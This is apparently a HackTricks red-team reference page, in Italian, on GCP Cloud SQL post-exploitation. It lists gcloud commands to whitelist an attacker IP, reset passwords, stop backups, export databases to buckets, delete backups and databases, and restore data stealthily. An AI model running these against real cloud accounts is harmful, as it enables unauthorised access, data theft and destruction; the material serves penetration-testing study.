GCP - Cloud SQL Post Exploitation

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Cloud SQL

Per ulteriori informazioni su Cloud SQL, controlla:

pageGCP - Cloud SQL Enum

cloudsql.instances.update, (cloudsql.instances.get)

Per connettersi ai database, è sufficiente avere accesso alla porta del database e conoscere il nome utente e la password, non ci sono requisiti IAM. Quindi, un modo semplice per ottenere l'accesso, supponendo che il database abbia un indirizzo IP pubblico, è aggiornare le reti consentite e permettere al proprio indirizzo IP di accedervi.

# Use --assign-ip to make the database get a public IPv4
gcloud sql instances patch $INSTANCE_NAME \
--authorized-networks "$(curl ifconfig.me)" \
--assign-ip \
--quiet

mysql -h <ip_db> # If mysql

# With cloudsql.instances.get you can use gcloud directly
gcloud sql connect mysql --user=root --quiet

È anche possibile utilizzare --no-backup per interrompere i backup del database.

Poiché questi sono i requisiti, non sono completamente sicuro di quali siano i permessi cloudsql.instances.connect e cloudsql.instances.login. Se lo sai, invia una PR!

cloudsql.users.list

Ottieni un elenco di tutti gli utenti del database:

gcloud sql users list --instance <intance-name>

cloudsql.users.create

Questa autorizzazione consente di creare un nuovo utente all'interno del database:

gcloud sql users create <username> --instance <instance-name> --password <password>

cloudsql.users.update

Questa autorizzazione consente di aggiornare l'utente all'interno del database. Ad esempio, è possibile modificare la sua password:

gcloud sql users set-password <username> --instance <instance-name> --password <password>

cloudsql.instances.restoreBackup, cloudsql.backupRuns.get

I backup potrebbero contenere vecchie informazioni sensibili, quindi è interessante controllarli. Ripristina un backup all'interno di un database:

gcloud sql backups restore <backup-id> --restore-instance <instance-id>

Per farlo in modo più discreto, è consigliabile creare una nuova istanza SQL e recuperare i dati lì anziché nei database attualmente in esecuzione.

cloudsql.backupRuns.delete

Questa autorizzazione consente di eliminare i backup:

gcloud sql backups delete <backup-id> --instance <instance-id>

cloudsql.instances.export, storage.objects.create

Esporta un database in un Cloud Storage Bucket in modo da potervi accedere da lì:

# Export sql format, it could also be csv and bak
gcloud sql export sql <instance-id> <gs://bucketName/fileName>

cloudsql.instances.import, storage.objects.get

Importa un database (sovrascrivendo) da un Cloud Storage Bucket:

# Import format SQL, you could also import formats bak and csv
gcloud sql import sql <instance-id> <gs://bucketName/fileName>

cloudsql.databases.delete

Elimina un database dall'istanza del database:

gcloud sql databases delete <db-name> --instance <instance-id>
Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Last updated